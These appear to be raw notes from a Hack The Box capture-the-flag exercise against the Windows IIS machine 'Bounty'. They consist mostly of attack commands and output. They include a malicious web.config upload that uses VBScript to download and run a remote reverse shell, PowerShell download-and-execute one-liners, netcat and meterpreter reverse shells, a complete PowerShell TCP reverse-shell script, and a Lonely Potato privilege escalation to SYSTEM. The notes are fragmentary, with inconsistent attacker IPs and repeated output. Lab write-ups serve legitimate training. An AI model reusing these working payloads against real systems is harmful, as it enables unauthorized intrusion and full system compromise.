DIRSEARCH:PY

INSERT REVERSE SHELL IN WEB.CONFIG

NISHANG REVERSE SHELL

SHERLOCK EXPLOIT SUGGESTER

LONELY POTATO !!!!!!!!!!

PORT STATE SERVICE VERSION

80/tcp open http Microsoft IIS httpd 7.5

| http-methods:

|_ Potentially risky methods: TRACE

|_http-server-header: Microsoft-IIS/7.5

|_http-title: Bounty

Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

root@akg:/home/akg/Desktop/hackthebox/bounty# gobuster dir -u http://10.10.10.93 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .aspx,.asp

/transfer.aspx (Status: 200)

/uploadedFiles (Status: 301)

/uploadedfiles (Status: 301)

http://bounty.htb/transfer.aspx

root@akg:/home/akg/Desktop/hackthebox/bounty# cat web.config

```
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
     <handlers accessPolicy="Read, Script, Write">
       <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
     </handlers>
     <security>
```

```
      <requestFiltering>
        <fileExtensions>
          <remove fileExtension=".config" />
        </fileExtensions>
        <hiddenSegments>
          <remove segment="web.config" />
        </hiddenSegments>
      </requestFiltering>
    </security>
  </system.webServer>
</configuration>
<%@ Language=VBScript %>
<%
  call Server.CreateObject("WSCRIPT.SHELL").Run("cmd.exe /c powershell.exe -c iex(new-object
net.webclient).downloadstring('http://10.10.14.33/Invoke-PowerShellTcp.ps1')")
%>
```

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.33 -Port 443 (AT THE END OF SHELL)

UPLOAD WEB CONFIG

http://bounty.htb/transfer.aspx

root@akg:/home/akg/Desktop/hackthebox/bounty# python -m SimpleHTTPServer 80

root@akg:/home/akg/Desktop/hackthebox/bounty# nc -nvlp 443

http://bounty.htb/uploadedfiles/web.config

SHELL GAINED!!!!!!!

PRIVILEGES INFORMATION

Privilege Name Description State

============================= === ========

SeAssignPrimaryTokenPrivilege Replace a process level token Disabled

SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled

SeAuditPrivilege Generate security audits Disabled

SeChangeNotifyPrivilege Bypass traverse checking Enabled

SeImpersonatePrivilege Impersonate a client after authentication Enabled

SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

root@kali:/home/kali/Desktop/hackthebox/bounty# python -m SimpleHTTPServer 80

powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.16/sherlock.ps1','C:\Users\merlin\Desktop\sherlock.ps1')"

powershell.exe "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.16/sherlock.ps1') ; Find-AllVulns"

>powershell.exe -exec bypass -Command "& {Import-Module .\Sherlock.ps1; Find-AllVulns}"

Title : Task Scheduler .XML

MSBulletin : MS10-092

CVEID : 2010-3338, 2010-3888

Link : https://www.exploit-db.com/exploits/19930/

VulnStatus : Appears Vulnerable

Title : ClientCopyImage Win32k

MSBulletin : MS15-051

CVEID : 2015-1701, 2015-2433

Link : https://www.exploit-db.com/exploits/37367/

VulnStatus : Appears Vulnerable

Title : Task Scheduler .XML

MSBulletin : MS10-092

CVEID : 2010-3338, 2010-3888

Link : https://www.exploit-db.com/exploits/19930/

VulnStatus : Appears Vulnerable

Title : ClientCopyImage Win32k

MSBulletin : MS15-051

CVEID : 2015-1701, 2015-2433

Link : https://www.exploit-db.com/exploits/37367/

VulnStatus : Appears Vulnerable

root@kali:/home/kali/Desktop/hackthebox/bounty# python -m SimpleHTTPServer 80

powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.16/priv.exe','C:\Windows\Temp\priv.exe')"

powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.16/nc64.exe','C:\Windows\Temp\nc.exe')"

root@kali:/home/kali/Desktop/hackthebox/bounty# nc -nlvp 1234

./priv.exe "c:\windows\temp\nc.exe -e cmd 10.10.14.16 1234"

LOVELY POTATO

root@kali:/home/kali/Desktop/hackthebox/bounty# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.16 LPORT=4444 -f exe -o meterpreter.exe

root@kali:/home/kali/Desktop/hackthebox/bounty# python -m SimpleHTTPServer 80

IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.16/lp.ps1')

LONELY POTATO

root@kali:/home/kali/Desktop/hackthebox/bounty# cat shell.bat

powershell.exe -c iex(new-object net.webclient).downloadstring('https://10.10.14.16/powershell-reverse-shell.ps1')

root@kali:/home/kali/Desktop/hackthebox/bounty# cat powershell-reverse-shell.ps1

$client = New-Object System.Net.Sockets.TCPClient("10.10.14.16",9003);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String);$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

root@kali:/home/kali/Desktop/hackthebox/bounty# python -m SimpleHTTPServer 80

root@kali:/home/kali# nc -nlvp 9003

```
powershell -c "(new-object
System.Net.WebClient).DownloadFile('http://10.10.14.27/lonelypotato.exe','C:\users\merlin\appdata\local\temp\lonelypo
tato.exe')"

powershell -c "(new-object
System.Net.WebClient).DownloadFile('http://10.10.14.27/shell.bat','C:\users\merlin\appdata\local\temp\shell.bat')"

C:\users\merlin\appdata\local\temp\lonelypotato.exe *  C:\users\merlin\appdata\local\temp\shell.bat


root@kali:/home/kali# nc -nlvp 9003

listening on [any] 9003 ...

connect to [10.10.14.16] from (UNKNOWN) [10.10.10.93] 49183

whoami

nt authority\system

PS C:\Windows\system32>
```